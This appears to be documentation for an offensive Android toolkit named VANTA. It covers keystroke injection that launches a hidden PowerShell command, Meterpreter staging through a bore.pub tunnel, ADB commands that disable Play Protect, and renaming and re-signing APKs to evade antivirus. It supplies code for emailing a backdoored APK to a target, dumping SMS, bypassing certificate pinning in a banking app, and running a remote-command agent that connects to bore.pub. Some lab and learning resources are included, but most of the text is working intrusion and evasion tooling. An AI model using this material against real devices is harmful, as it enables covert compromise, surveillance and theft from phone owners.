## Example: Type capital 'L' (Shift + l)
A1 01 02 00 0F 00 00 00 00
         ↑  ↑  ↑
       Shift  'l' key

## Key release — send all-zeros after each key press
A1 01 00 00 00 00 00 00 00

HID Usage Table — Common Keycodes

KeyHID Usage IDKeyHID Usage ID
a – z0x040x1DEnter0x28
1 – 90x1E0x26Escape0x29
00x27Backspace0x2A
F1 – F120x3A0x45Tab0x2B
Space0x2CWindows/GUImodifier bit 3
- (minus)0x2DRight Arrow0x4F
= (equals)0x2ELeft Arrow0x50
[ (left bracket)0x2FDown Arrow0x51
/ (forward slash)0x38Up Arrow0x52

How bt_zero_deliver Translates DuckyScript

VANTA reads the DuckyScript payload line by line and translates each command to a sequence of HID reports. For example, STRING powershell becomes 10 key-down + key-up report pairs (one per character). ENTER becomes a single report with keycode 0x28. DELAY 500 becomes a 500 ms sleep between report sends. The result is indistinguishable from a human typing.

## DuckyScript → HID report sequence for "WIN r" shortcut
GUI r
    ↓ translated to:
  Key down: A1 01 08 00 15 00 00 00 00   (modifier=0x08=Left GUI, keycode 0x15='r')
  Key up:   A1 01 00 00 00 00 00 00 00

## The full bt_zero_deliver Windows payload sequence:
GUI r         → opens Run dialog
DELAY 600
STRING powershell -w hidden -ep bypass -e <base64_command>
ENTER         → executes PowerShell
## Each ENTER/DELAY/STRING line → batch of 9-byte HID reports over L2CAP PSM 0x0013

Meterpreter Wire Protocol — TLV Deep Dive

Meterpreter does not use a simple shell protocol. It uses a custom Type-Length-Value (TLV) binary framing protocol, transported over HTTPS (or raw TCP/SSL). Understanding TLV explains why Meterpreter is so powerful and why it's hard to detect on the wire.

What is TLV?

TLV is a universal encoding scheme where every piece of data is wrapped in a 3-part envelope: its data type, its byte length, and its raw value. This makes the protocol self-describing and extensible — new command types can be added without breaking the parser.

## TLV Packet structure (all integers big-endian)
┌─────────────────────────────────────────────────────────┐
│  type   │ length  │           value                     │
│ 4 bytes │ 4 bytes │       (length - 8) bytes            │
└─────────────────────────────────────────────────────────┘

## Full Meterpreter packet (multiple TLVs)
┌──────────────────────────────────────────────────────────────┐
│  XOR Key (4 bytes)  │  packet_len (4 bytes)                  │
│                     │  session_guid (16 bytes)               │
│                     │  encrypt_flags (4 bytes)               │
│                     │  payload_len (4 bytes)                 │
│                     │  [ TLV 1 ][ TLV 2 ][ TLV N ]...       │
└──────────────────────────────────────────────────────────────┘

XOR Encryption

Every Meterpreter packet is XOR-encrypted with a random 4-byte key. The key is prepended to each packet in plaintext, so the receiver knows how to decrypt. This is not strong encryption — it's obfuscation to defeat simple signature-based IDS rules that look for known byte patterns. Real confidentiality comes from TLS (the HTTPS transport layer underneath).

## Python: encrypt/decrypt a Meterpreter packet body
import os, struct

def xor_key() -> bytes:
    return os.urandom(4)

def xor_packet(key: bytes, data: bytes) -> bytes:
    k = key * (len(data) // 4 + 1)    # tile key to cover data length
    return bytes(a ^ b for a, b in zip(data, k))

# On wire: key (4 bytes) + xor_packet(key, packet_body)

Core TLV Type IDs

Type ID (hex)Constant nameValue formatPurpose
0x00000001TLV_TYPE_ANYanyCatch-all / group container
0x00000002TLV_TYPE_METHODstringCommand name (e.g. core_loadlib)
0x00000003TLV_TYPE_REQUEST_IDstring (GUID)Correlates responses to requests
0x00000004TLV_TYPE_EXCEPTIONgroup TLVError detail
0x00000005TLV_TYPE_RESULTuint320 = success, else Win32 error code
0x0000000ATLV_TYPE_STRINGnull-terminated UTF-8Generic string param
0x0000000BTLV_TYPE_UINTuint32Generic integer
0x0000000CTLV_TYPE_BOOLuint32 (0/1)Boolean flag
0x00000011TLV_TYPE_RAWraw bytesFile data, binary payloads
0x00001001TLV_TYPE_CHANNEL_IDuint32Multiplexed channel ID
0x00001002TLV_TYPE_CHANNEL_TYPEstringChannel type (e.g. stdapi_fs_file)
0x00001003TLV_TYPE_CHANNEL_DATAraw bytesChannel payload (file chunks, stdin/stdout)

Meterpreter Command Lifecycle

## msf console: meterpreter > sysinfo
## What actually travels over the wire:

# 1. msf sends REQUEST packet:
[ XOR_KEY (4B) ][ body_len (4B) ][ session_guid (16B) ][ enc_flags (4B) ]
  [ TLV: type=TLV_TYPE_METHOD  value="stdapi_sys_config_sysinfo\0" ]
  [ TLV: type=TLV_TYPE_REQUEST_ID value="abc123-uuid\0" ]

# 2. Android Meterpreter agent processes request, executes:
  getprop ro.product.model     # device model
  getprop ro.build.version.release  # Android version
  uname -a                     # kernel version

# 3. Agent sends RESPONSE packet:
[ XOR_KEY (4B) ][ body_len ][ session_guid ][ enc_flags ]
  [ TLV: type=TLV_TYPE_REQUEST_ID value="abc123-uuid\0" ]   # echo
  [ TLV: type=TLV_TYPE_RESULT value=0x00000000 ]            # success
  [ TLV: type=TLV_TYPE_STRING value="Pixel 7\0" ]           # model
  [ TLV: type=TLV_TYPE_STRING value="13\0" ]                # Android version
  [ TLV: type=TLV_TYPE_STRING value="Linux 5.15.78-android\0" ] # kernel

HTTPS Transport — Why Meterpreter Bypasses Firewalls

android/meterpreter/reverse_https (the default VANTA payload) wraps every TLV packet inside a standard HTTPS POST request. To a firewall or network monitor it looks identical to a web browser uploading a form. The URL path is randomized per session. The payload never opens a raw TCP socket on an unusual port — it only uses port 443 (HTTPS).

## What Meterpreter HTTPS looks like on the wire (after TLS decryption)
POST /randompath/abc123 HTTP/1.1
Host: bore.pub:<port>
Content-Type: application/octet-stream
Content-Length: <len>
Cookie: SESSION=<session_guid_hex>

[ XOR-encrypted TLV packet payload ]

## HTTP response carries the server's TLV response
HTTP/1.1 200 OK
Content-Length: <len>

[ XOR-encrypted TLV response ]

bore Tunnel — Under the Hood

bore (by Eric Zhang) solves the problem of exposing a localhost service to the internet without port forwarding or a VPS. VANTA uses it to make both the APK download server and the MSF handler reachable from any Android device, anywhere in the world.

Architecture

┌──────────────────────┐          ┌────────────────────────────┐
│   Your Kali machine  │          │       bore.pub server       │
│                      │  TCP     │                            │
│  bore client         │──────────│ bore server                │
│  port: 5555 (local)  │ port 7835│ port: <assigned> (public) │
│                      │          │                            │
│  MSF handler         │          │   Android device connects  │
│  :4444               │          │   → bore.pub:<port>        │
└──────────────────────┘          └────────────────────────────┘
          ↑                                    ↑
    local service                    public internet access

Connection Flow (Step by Step)

## 1. bore client starts — control connection to bore.pub:7835
bore local 4444 --to bore.pub
  → TCP connect to bore.pub:7835
  → Send: Hello { port: 4444, secret: "" }
  → Receive: Hello { port: 38521 }   ← assigned public port
  [bore client now prints: "listening at bore.pub:38521"]

## 2. Someone connects to bore.pub:38521 (e.g., the Android device)
  bore.pub server: new inbound connection on :38521
  → Server sends "NewConnection" frame on control channel
  → bore client opens a NEW TCP connection to bore.pub:7835 (relay)
  → bore.pub splices: relay_conn ↔ inbound_conn (bidirectional byte copy)

## 3. bore client connects relay to local service
  → bore client connects relay socket to localhost:4444 (your MSF handler)
  → Now: Android ↔ bore.pub ↔ bore client ↔ localhost:4444 (MSF)
  → From MSF's view: a normal TCP connection arrived on :4444

bore Wire Protocol (Control Channel)

## bore uses JSON-encoded frames over TCP, length-prefixed
Frame format:
  [ u64 length (8 bytes, big-endian) ][ JSON payload (length bytes) ]

Hello frame (client → server):
  {"type":"Hello","payload":{"port":4444,"secret":""}}

Hello response (server → client):
  {"type":"Hello","payload":{"port":38521}}

NewConnection frame (server → client on control):
  {"type":"NewConnection","payload":{"id":"uuid-string"}}

## Data relay: no protocol — raw bytes spliced via tokio::io::copy
bore security note: The public bore.pub instance has no authentication by default. Anyone who knows your tunnel port can connect to your MSF handler. VANTA mitigates this by using short-lived tunnels (killed after each session) and ExitOnSession is set to false so you don't lose subsequent sessions. For production engagements, run your own bore server.

Meterpreter Staging — From APK to Shell

The android/meterpreter/reverse_tcp payload is a staged payload. Understanding staging is crucial — it's why the APK file itself is small even though Meterpreter has hundreds of capabilities.

Stage 0 — Stager (inside the APK):
  ┌────────────────────────────────────────────────────────────┐
  │  Minimal Java code baked into the APK by msfvenom          │
  │  Role: connect to LHOST:LPORT, receive and execute Stage 1 │
  │  Size: ~20KB of DEX bytecode                               │
  └────────────────────────────────────────────────────────────┘
              │  TCP/HTTPS connect to bore.pub:LPORT
              ▼
Stage 1 — Meterpreter Core (sent by MSF handler):
  ┌────────────────────────────────────────────────────────────┐
  │  Meterpreter JARs streamed from MSF handler                │
  │  Loaded via DexClassLoader into memory (no disk write)     │
  │  Establishes TLV command channel                           │
  │  Size: ~1.5 MB                                             │
  └────────────────────────────────────────────────────────────┘
              │  TLV over HTTPS
              ▼
Stage 2 — Extensions (loaded on demand):
  ┌────────────────────────────────────────────────────────────┐
  │  stdapi — filesystem, shell, network, camera, mic          │
  │  kiwi   — credential harvesting (Android LSASS equivalent) │
  │  incognito — token manipulation                            │
  │  Each extension is a JAR streamed on-demand via TLV        │
  └────────────────────────────────────────────────────────────┘

DexClassLoader — In-Memory Execution

Android's DexClassLoader can load DEX/JAR files from any path — including paths in /data/data/<pkg>/cache/. Meterpreter writes Stage 1 to the app's private cache directory, loads it with DexClassLoader, then deletes the file. After that, the Meterpreter code lives only in memory. This is why a device reboot terminates the Meterpreter session — the in-memory JARs are gone. The BootReceiver VANTA installs reconnects by re-running the stager on boot.

Play Protect — Architecture & Bypass Mechanics

Google Play Protect has two enforcement layers. Understanding both is required to reliably deliver payloads.

Layer 1: SafetyNet / Play Integrity API

Runs in the cloud. When you install an APK, Google's servers check the SHA-256 of the APK against a known-malicious database. VANTA bypasses this with two techniques: (1) the stealth package rename changes the APK's signature (different class paths → different DEX checksum → different APK hash), and (2) the APK is re-signed with a custom keystore, making the v1/v2 signature completely different.

Layer 2: on-device verifier

Android ships a system service called the Package Verifier that checks installs against a local heuristic database even offline. The two settings put global commands disable it:

## Disable both Play Protect verifier layers via ADB
adb shell settings put global verifier_verify_adb_installs 0
# verifier_verify_adb_installs: controls whether the Package Verifier
# checks apps installed via adb (default=1). Setting 0 skips cloud check.

adb shell settings put global package_verifier_enable 0
# package_verifier_enable: master switch for the Package Verifier service
# Setting 0 disables all verification for any install method.

## These settings survive in Android's global settings database (SQLite)
## at /data/data/com.google.android.gms/databases/phenotype.db
## They reset if GMS updates. Re-apply after GMS updates if needed.

## Restore after session (OPSEC: leave target clean)
adb shell settings put global verifier_verify_adb_installs 1
adb shell settings put global package_verifier_enable 1

Stealth Package Rename — Byte-Level Effect

When VANTA renames com.metasploit.stagecom.android.providers.settings.service, it makes three changes:

## Change 1: smali directory rename
smali/com/metasploit/stage/MainService.smali
  → smali/com/android/providers/settings/service/MainService.smali

## Change 2: string replacement in every .smali and .xml file
.smali files: class declarations, invoke targets, type references
AndroidManifest.xml: android:name attributes, intent filter targets

## Change 3: classes.dex rebuilt — new SHA-1, new DEX string table
## Result: APK hash completely different from any known msfvenom sample
## The string "com.metasploit.stage" no longer exists in the binary

## Why "com.android.providers.settings.service"?
## com.android.providers.settings = real Android system package (exists on all devices)
## Adding ".service" makes it look like a sub-component of that system package
## Play Protect heuristics avoid flagging packages that look like system components

Module Customization — Deep Integration Guide

This section goes deeper than the Contributor Guide above. It covers how to extend VANTA's android_pentest capabilities with your own payload types, delivery methods, and post-exploitation chains — with working code you can paste directly into the module.

Adding a Custom msfvenom Payload Type

The payload type grid in the GUI and the --payload CLI flag both resolve to entries in the PAYLOAD_MAP dict in android_pentest.py. Adding a new type requires one dict entry and no other changes:

# In android_pentest.py, find PAYLOAD_MAP (dict near top of class)
PAYLOAD_MAP = {
    "tcp":   "android/meterpreter/reverse_tcp",
    "https": "android/meterpreter/reverse_https",
    "shell": "android/shell/reverse_tcp",
    # ── Add your custom entry: ──
    "http2": "android/meterpreter/reverse_http",
    "bind":  "android/meterpreter/bind_tcp",
}

# Usage after adding: set payload http2

Adding a Custom Delivery Method

The delivery pipeline in _bt_zero_deliver_operation() checks open_method against known strings. Adding a new delivery path means adding an elif branch:

# After the existing "adb" branch in _bt_zero_deliver_operation()
elif open_method == "email":
    # Example: send APK as email attachment via SMTP
    import smtplib
    from email.mime.multipart import MIMEMultipart
    from email.mime.base import MIMEBase
    from email import encoders

    smtp_host = self.params.get("smtp_host", "smtp.gmail.com")
    smtp_user = self.params.get("smtp_user", "")
    smtp_pass = self.params.get("smtp_pass", "")
    target_email = self.params.get("target_email", "")

    msg = MIMEMultipart()
    msg["Subject"] = "Your requested file"
    part = MIMEBase("application", "vnd.android.package-archive")
    part.set_payload(apk_path.read_bytes())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", f"attachment; filename={apk_fname}")
    msg.attach(part)

    with smtplib.SMTP_SSL(smtp_host, 465) as s:
        s.login(smtp_user, smtp_pass)
        s.sendmail(smtp_user, target_email, msg.as_string())
    auto_install_status = "email_sent"
    hid_note = f"email delivery to {target_email}"

Writing a Custom Post-Exploitation Operation

Post-exploitation operations run after a Meterpreter session is established. Here is a complete working template for a new dump_sms operation:

# Step 1: implement the operation method
def _dump_sms_operation(self):
    """Dump SMS inbox via ADB content provider query."""
    self.log("[*] Querying SMS content provider ...")

    # ADB shell: query the SMS content provider (works without root)
    rc, out, err = self._adb_shell(
        "content query --uri content://sms/inbox "
        "--projection _id,address,body,date"
    )

    if rc != 0:
        self.errors.append(f"SMS query failed: {err.strip()}")
        return

    # Parse output (format: "Row: N _id=X, address=Y, body=Z, date=W")
    messages = []
    for line in out.splitlines():
        if line.startswith("Row:"):
            parts = {k.strip(): v.strip()
                     for part in line.split(",")[1:]
                     for k, _, v in (part.partition("="),)}
            messages.append(parts)

    self.log(f"[+] Found {len(messages)} SMS messages")

    # Save to work directory
    out_file = self.work_dir / "sms_dump.json"
    import json
    out_file.write_text(json.dumps(messages, indent=2))
    self.log(f"[+] Saved to {out_file}")

    # Add finding (shown in GUI Findings tab)
    self.findings.append({
        "type": "sms_dump",
        "count": len(messages),
        "file": str(out_file),
        "messages": messages[:10],   # preview first 10
    })

# Step 2: register in execute()
# No ADB needed beyond the shell call, but serial must be set:
ops = {
    ...,
    "dump_sms": self._dump_sms_operation,
}

# Step 3: add to GUI — in android_gui.py OPS constant:
{id:"dump_sms", label:"dump sms",
 desc:"Extract SMS inbox via content provider (no root)",
 runLabel:"DUMP",
 group:"post-exploitation",
 fields:[]},

Hooking the SSE Log Stream

Every call to self.log() and self.warn() in a module operation is streamed live to the GUI's terminal pane via Server-Sent Events (SSE). The GUI connects to GET /stream/<session_id>. If you want your custom operation to emit structured progress events rather than plain log lines:

# Emit a structured JSON event into the SSE stream:
self.log(f'\x00JSON\x00{{"type":"progress","pct":50,"msg":"half done"}}')
# The GUI's SSE parser checks for the \x00JSON\x00 prefix and parses the rest
# as JSON for the progress bar component

# Emit a finding card event (appears in Findings tab immediately):
self.log(f'\x00FIND\x00{{"type":"sms_dump","count":42}}')

# The sentinel codes:
# \x00RESULT\x00  — final JSON result (already used in execute())
# \x00JSON\x00    — in-stream progress event for GUI
# \x00FIND\x00    — push finding to Findings tab immediately
# \x00ERR\x00     — structured error (red banner in GUI)

Integrating a Custom Frida Script

The frida_hook operation accepts a script_path parameter pointing to a custom .js file. Here is a complete Frida script template for intercepting HTTPS traffic in any Android app (useful for bypassing certificate pinning):

// custom_ssl_bypass.js — paste into frida_hook script_path
Java.perform(function() {

  // Method 1: OkHttp3 certificate pinner bypass
  try {
    var CertificatePinner = Java.use("okhttp3.CertificatePinner");
    CertificatePinner.check.overload(
      "java.lang.String", "java.util.List"
    ).implementation = function(hostname, certs) {
      console.log("[*] SSL pin bypassed for: " + hostname);
      // don't call original — return without throwing
    };
  } catch(e) { console.log("OkHttp3 not found: " + e); }

  // Method 2: TrustManager bypass (accepts any cert)
  var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
  var SSLContext       = Java.use("javax.net.ssl.SSLContext");

  var TrustManagerImpl = Java.registerClass({
    name: "com.vanta.BypassTM",
    implements: [X509TrustManager],
    methods: {
      checkClientTrusted: function(chain, authType) {},
      checkServerTrusted: function(chain, authType) {},
      getAcceptedIssuers:  function() { return []; },
    }
  });

  var ctx = SSLContext.getInstance("TLS");
  ctx.init(null, [TrustManagerImpl.$new()], null);
  SSLContext.setDefault(ctx);
  console.log("[+] TrustManager bypass installed");
});
# Run with VANTA:
set operation frida_hook
set script_path /home/user/custom_ssl_bypass.js
set target_process com.target.banking.app
run connected

Building a Custom C2 Agent

VANTA's C2 server (c2_gui.py) accepts any TCP agent that speaks the VANTA agent protocol — a simple newline-delimited JSON protocol. This means you can write agents in any language (Python, Go, Kotlin, shell scripts on rooted devices) and they will appear as sessions in the dashboard.

## VANTA agent protocol — newline-delimited JSON over TCP

# 1. Agent connects to attacker:8889
# 2. Agent sends HELLO with recon data:
{
  "type": "HELLO",
  "model": "Pixel 7",
  "android": "13",
  "sdk": "33",
  "root": "magisk",
  "patch": "2025-12-01",
  "ip": "192.168.1.50"
}

# 3. Server queues commands; agent polls with PING:
{"type": "PING", "output": "<output of last command>"}

# 4. Server responds with COMMAND or empty:
{"type": "COMMAND", "cmd": "SH:id"}

# 5. Agent executes, sends next PING with output
{"type": "PING", "output": "uid=2000(shell) gid=2000(shell) ..."}

## Minimal Python agent (drop onto any rooted device via ADB):
import socket, subprocess, json, time

HOST, PORT = "bore.pub", 38521
sock = socket.create_connection((HOST, PORT))

def send(obj):
    sock.sendall((json.dumps(obj) + "\n").encode())

def recv():
    buf = b""
    while not buf.endswith(b"\n"):
        buf += sock.recv(4096)
    return json.loads(buf.decode().strip())

send({"type":"HELLO","model":"CustomAgent","android":"13",
      "sdk":"33","root":"none","patch":"2025-12-01","ip":"127.0.0.1"})
last_out = ""
while True:
    send({"type":"PING", "output": last_out})
    resp = recv()
    if resp.get("type") == "COMMAND":
        cmd = resp["cmd"]
        if cmd.startswith("SH:"):
            last_out = subprocess.getoutput(cmd[3:])
    time.sleep(5)

Learning Path & Resources

Use this path to build deep Android security knowledge — from zero to writing your own exploits. Study the concepts in order, run VANTA against real targets as you go.

Step 1: Android Fundamentals (No Prerequisites)

ResourceTypeWhy
Android Developer Docs — App ArchitectureFree (developer.android.com)Understand Activities, Services, BroadcastReceivers — the components VANTA attacks
Android Security Internals (Nikolay Elenkov, No Starch)BookThe single best resource on Android's security model: sandboxing, permissions, cryptography, keystore. Read chapters 1-5 first.
OWASP Mobile Application Security Testing Guide (MASTG)Free (mas.owasp.org)Official methodology for mobile app pentesting. Covers Android static and dynamic analysis. Use alongside app_scan and frida_hook operations.

Step 2: ADB and APK Tools

ResourceFocus
Android Debug Bridge (ADB) reference — developer.android.com/tools/adbEvery ADB command VANTA uses. Run each one manually to understand what it does before trusting the automation.
apktool documentation (apktool.org)Decode/rebuild APKs manually before using VANTA's backdoor_apk. You'll understand why the tool does what it does.
smali/baksmali GitHub (github.com/JesusFreke/smali)Official smali assembler. Read the README. Try disassembling a small app manually.
jadx (github.com/skylot/jadx)Decompiles DEX to Java source code — more readable than smali for analysis. Used by app_scan internally.

Step 3: Hands-On Labs

Lab / AppCostWhat to practice
InsecureBankv2 (github.com/dineshshetty/Android-InsecureBankv2)Free / self-hostedIntentionally vulnerable Android app. Covers exported activities, SQLite injection, weak crypto, root detection bypass. Use app_scan and exploit operations against it.
DIVA Android (github.com/payatu/diva-android)FreeDamn Insecure and Vulnerable App — 13 vulnerability challenges with hints. Perfect for learning app_scan findings in context.
HackTheBox Mobile challenges (hackthebox.com)Free tierReal APK challenges. Decompile, analyze, find the flag. Use jadx + smali reading from this doc.
Android-x86 emulator VMFree (see lab-setup.html)Full Android VM you own — safe to run payloads against. Set up via lab-setup.html Chapter 7.

Step 4: Frida and Dynamic Analysis

ResourceFocus
Frida Documentation (frida.re/docs)Official docs. Read "JavaScript API" section for writing custom hooks used with VANTA's frida_hook operation.
Objection (github.com/sensepost/objection)Runtime mobile exploration built on Frida. VANTA integrates it — read the README to understand what "objection explore" gives you.
r2frida (github.com/nowsecure/r2frida)Combines Radare2 binary analysis with Frida runtime instrumentation — advanced use, but powerful for custom exploits.

Step 5: Deep Reference Books

BookBest For
Android Hacker's Handbook (Drake et al., Wiley)Covers exploit development, fuzzing, kernel vulnerabilities. Read after mastering the basics.
The Mobile Application Hacker's Handbook (Chell et al.)Methodology for Android and iOS pentesting engagements. Good for understanding professional process.
Metasploit: The Penetration Tester's Guide (Kennedy et al.)Understand Metasploit's architecture — useful for customizing the MSF payloads VANTA uses.

Practice Path — Using android_pentest + Labs

## Recommended weekly progression

Week 1: Setup and Basics
  Follow: lab-setup.html Chapter 7 — Android-x86 VM
  Run: recon operation on your Android-x86 VM
  Understand: every field in the recon output

Week 2: APK Analysis
  Install InsecureBankv2 APK on your VM
  Run: app_scan against it — read every finding
  Manually: jadx decompile the APK, find the vulnerability in source

Week 3: Backdoor and Payload
  Create a test APK with msfvenom manually (without VANTA)
  Then: use backdoor_apk to inject a payload
  Compare: the manual and VANTA output APKs with jadx
  Start MSF handler: catch the Meterpreter session

Week 4: Evasion
  Try: installing the raw msfvenom APK — watch Play Protect block it
  Apply: stealth package rename (already in VANTA)
  Test: DIVA app with frida_hook — bypass root detection
  Advanced: write your own Frida script to hook a specific API

Week 5+: Real Apps (authorized)
  Apply for a mobile bug bounty program (HackerOne / Bugcrowd)
  Use app_scan as initial triage tool
  Manual analysis of interesting findings

Requirements

Required

# Arch / CachyOS
sudo pacman -S android-tools apktool aapt jdk-openjdk

# Debian / Ubuntu / Kali
sudo apt install android-tools-adb apktool aapt2 default-jdk
apktool heap note: The system /usr/bin/apktool wrapper hardcodes -Xmx256M which causes OOM on large APKs (>30 MB). VANTA calls the JAR directly with java -Xmx4g -jar /usr/share/java/android-apktool/apktool.jar to bypass this. This path is standard on Arch/Debian. If your distro puts the JAR elsewhere, the wrapper is used with the JAVA_TOOL_OPTIONS env var as fallback. Ensure at least 4 GB free RAM for rebuilding large APKs.

Optional (auto-offered on module load)

pip3 install frida-tools objection    # Frida instrumentation
pip3 install requests                 # HTTP features
# Metasploit - for backdoor_apk / msf_handler
# Install from metasploit.com or your distro's package manager

Device Setup

# Enable USB Debugging (required for USB/initial connection)
Settings → Developer Options → USB Debugging → ON

# Authorize ADB on device when prompted (first USB connection)
adb devices    # should show device serial

# Enable ADB over WiFi (Android 11+) — no USB cable after this
Settings → Developer Options → Wireless Debugging → ON
# Note the IP:port shown; then in VANTA:
set operation adb_wifi   # auto-runs: adb tcpip 5555 (older Android)
# OR connect directly via TCP:
adb connect 192.168.1.128:5555

# Detect ADB-open Android devices on your LAN via netrecon:
# uses android preset: ports 5555,5037,5554,8080,8888,8889
# probes adb connect → grabs device model; raw CNXN handshake fallback
# flags ADB-TCP-OPEN CRITICAL if port 5555 is open

Reading Android's Assembly Language

When apktool decompiles an APK, it produces Smali files instead of Java. Smali is the human-readable form of Dalvik bytecode - the instruction set that Android's Dalvik/ART virtual machine executes. Understanding Smali is essential for reading injected payload code, verifying that backdoors were inserted correctly, and modifying app behavior at the bytecode level.

Registers
Dalvik is register-based (unlike the JVM which is stack-based). Registers are named v0 through vN for local variables, and p0 through pN for parameters. p0 is always this in instance methods. You manipulate data by loading into registers and calling operations on them.
Method Invocation
invoke-virtual calls a method on an object instance. invoke-static calls a static method. Format: invoke-virtual {v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I. Read as: call Log.d(String, String) which returns an int, using object in v0.
Move and Return
move-result-object v0 captures the return value of the previous invoke into v0. return-void exits a void method. const-string v0, "text" loads a string literal into a register. These three operations make up the majority of Smali you will read when examining injected payload stubs.
Payload Injection Point
When VANTA's android_pentest module injects a Meterpreter payload, it adds a new Smali class and inserts an invoke-static call into the target app's main Activity onCreate method. The call triggers your payload class when the app starts. You can verify the injection by running apktool d on the output APK and inspecting the Smali.
# Decompile APK to Smali
apktool d target.apk -o decompiled/

# View the main activity Smali
cat decompiled/smali/com/target/app/MainActivity.smali

# What a payload injection looks like in Smali:
# --- injected block in onCreate ---
# invoke-static {}, Lcom/metasploit/stage/Payload;->start()V
# --- end injected block ---

# Key Smali instructions to recognize:
# const/4 v0, 0x1        = load integer 1 into v0
# if-eq v0, v1, :cond_0  = jump to label if v0 == v1
# new-instance v0, Ljava/lang/StringBuilder; = create object

# Recompile and verify
apktool b decompiled/ -o modified.apk

Getting Past AV and Installing the APK

A default Meterpreter APK is immediately flagged by antivirus because security vendors have analyzed it and added its signatures (unique byte patterns) to their detection databases. Evasion means changing the APK enough that those signatures no longer match, while keeping the payload functional. Every APK must also be signed with a code signing certificate before Android will install it.

Why Default Signatures Get Flagged
AV engines scan APKs by looking for known byte sequences in class files and strings. The class name com.metasploit.stage.Payload is a trivial signature. The strings "metasploit" and "meterpreter" in the manifest or class files trigger immediate detection. Even the structure of the dex file - specific method names, field names, and call patterns - can be detected through heuristic analysis.
Class Renaming
Rename all payload classes to innocuous names like com.media.player.AudioService. Do this consistently across all Smali files - a class rename in Smali requires updating every reference to that class throughout all files. Tools like apktool rename or custom Python scripts handle this. Even just renaming the main payload class drops detection significantly.
Manifest Cleanup
AndroidManifest.xml is the first file AV engines scan. Remove any Metasploit-related strings. Change the application package name to something convincing. Give the app a legitimate-sounding name and icon. Add realistic permissions that match the app's cover story. A malicious PDF viewer app should not request GPS and microphone permissions.
Signing with Custom Identity
Every APK must be signed. Using the default Metasploit debug keystore is another AV signal. Generate your own keystore with keytool and sign the APK with it. The signing identity in the APK certificate (distinguished name) is visible in the APK's META-INF folder - use a realistic organization name.
# Generate a custom signing keystore
keytool -genkey -v -keystore my_release.keystore \
  -alias myapp -keyalg RSA -keysize 2048 -validity 10000 \
  -dname "CN=Media Corp, OU=Dev, O=MediaApps, L=Austin, S=TX, C=US"

# Sign the recompiled APK
apksigner sign --ks my_release.keystore \
  --ks-key-alias myapp \
  --out signed_payload.apk unsigned_payload.apk

# Verify the signature
apksigner verify --verbose signed_payload.apk

# Quick AV check before delivery
clamscan signed_payload.apk
  # test against local ClamAV as a baseline
  # do NOT upload to VirusTotal - samples get shared with AV vendors